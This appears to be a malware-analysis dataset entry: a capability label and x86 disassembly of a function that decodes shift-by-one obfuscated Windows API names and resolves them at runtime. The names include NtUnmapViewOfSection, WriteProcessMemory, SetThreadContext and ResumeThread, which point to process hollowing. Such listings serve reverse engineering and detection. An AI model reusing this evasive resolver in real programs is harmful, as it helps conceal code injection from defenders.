Function at 0x4011ab
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
jmp 0x4011c8
mov word [ebp - 4], es
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x14
jae 0x4011e6
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx + str.OuVonbqWjfxPgTfdujpo]
sub edx, 1
mov eax, dword [ebp - 4]
mov byte [eax + str.OuVonbqWjfxPgTfdujpo], dl
jmp 0x4011bf
mov dword [ebp - 4], 0
jmp 0x4011f8
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x12
jae 0x401216
mov edx, dword [ebp - 4]
movsx eax, byte [edx + str.XsjufQspdfttNfnpsz]
sub eax, 1
mov ecx, dword [ebp - 4]
mov byte [ecx + str.XsjufQspdfttNfnpsz], al
jmp 0x4011ef
mov dword [ebp - 4], 0
jmp 0x401228
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x10
jae 0x401246
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + str.HfuUisfbeDpoufyu]
sub ecx, 1
mov edx, dword [ebp - 4]
mov byte [edx + str.HfuUisfbeDpoufyu], cl
jmp 0x40121f
mov dword [ebp - 4], 0
jmp 0x401258
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jae 0x401276
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx + str.DsfbufQspdfttB]
sub edx, 1
mov eax, dword [ebp - 4]
mov byte [eax + str.DsfbufQspdfttB], dl
jmp 0x40124f
mov dword [ebp - 4], 0
jmp 0x401288
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x10
jae 0x4012a6
mov edx, dword [ebp - 4]
movsx eax, byte [edx + str.TfuUisfbeDpoufyu]
sub eax, 1
mov ecx, dword [ebp - 4]
mov byte [ecx + str.TfuUisfbeDpoufyu], al
jmp 0x40127f
mov dword [ebp - 4], 0
jmp 0x4012b8
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xc
jae 0x4012d6
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + str.SftvnfUisfbe]
sub ecx, 1
mov edx, dword [ebp - 4]
mov byte [edx + str.SftvnfUisfbe], cl
jmp 0x4012af
mov dword [ebp - 4], 0
jmp 0x4012e8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe
jae 0x401306
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx + str.WjsuvbmBmmpdFy]
sub edx, 1
mov eax, dword [ebp - 4]
mov byte [eax + str.WjsuvbmBmmpdFy], dl
jmp 0x4012df
mov dword [ebp - 4], 0
jmp 0x401318
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x11
jae 0x401336
mov edx, dword [ebp - 4]
movsx eax, byte [edx + str.SumDpnqsfttCvggfs]
sub eax, 1
mov ecx, dword [ebp - 4]
mov byte [ecx + str.SumDpnqsfttCvggfs], al
jmp 0x40130f
mov dword [ebp - 4], 0
jmp 0x401348
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 9
jae 0x401366
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + str.ouemm_emm]
sub ecx, 1
mov edx, dword [ebp - 4]
mov byte [edx + str.ouemm_emm], cl
jmp 0x40133f
mov dword [ebp - 4], 0
jmp 0x401378
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x13
jae 0x401396
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx + str.SumEfdpnqsfttCvggfs]
sub edx, 1
mov eax, dword [ebp - 4]
mov byte [eax + str.SumEfdpnqsfttCvggfs], dl
jmp 0x40136f
mov dword [ebp - 4], 0
jmp 0x4013a8
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x1e
jae 0x4013c6
mov edx, dword [ebp - 4]
movsx eax, byte [edx + str.SumHfuDpnqsfttjpoXpslTqbdfTjf]
sub eax, 1
mov ecx, dword [ebp - 4]
mov byte [ecx + str.SumHfuDpnqsfttjpoXpslTqbdfTjf], al
jmp 0x40139f
mov dword [ebp - 4], 0
jmp 0x4013d8
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0xc
jae 0x4013f6
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + str.lfsofm43_emm]
sub ecx, 1
mov edx, dword [ebp - 4]
mov byte [edx + str.lfsofm43_emm], cl
jmp 0x4013cf
push str.DsfbufQspdfttB
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406570], eax
push str.OuVonbqWjfxPgTfdujpo
push str.ouemm_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406574], eax
push str.WjsuvbmBmmpdFy
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406578], eax
push str.XsjufQspdfttNfnpsz
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40657c], eax
push str.HfuUisfbeDpoufyu
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406580], eax
push str.TfuUisfbeDpoufyu
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406584], eax
push str.SftvnfUisfbe
push str.lfsofm43_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406588], eax
push str.SumDpnqsfttCvggfs
push str.ouemm_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40658c], eax
push str.SumEfdpnqsfttCvggfs
push str.ouemm_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406590], eax
push str.SumHfuDpnqsfttjpoXpslTqbdfTjf
push str.ouemm_emm
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x406594], eax
mov esp, ebp
pop ebp
ret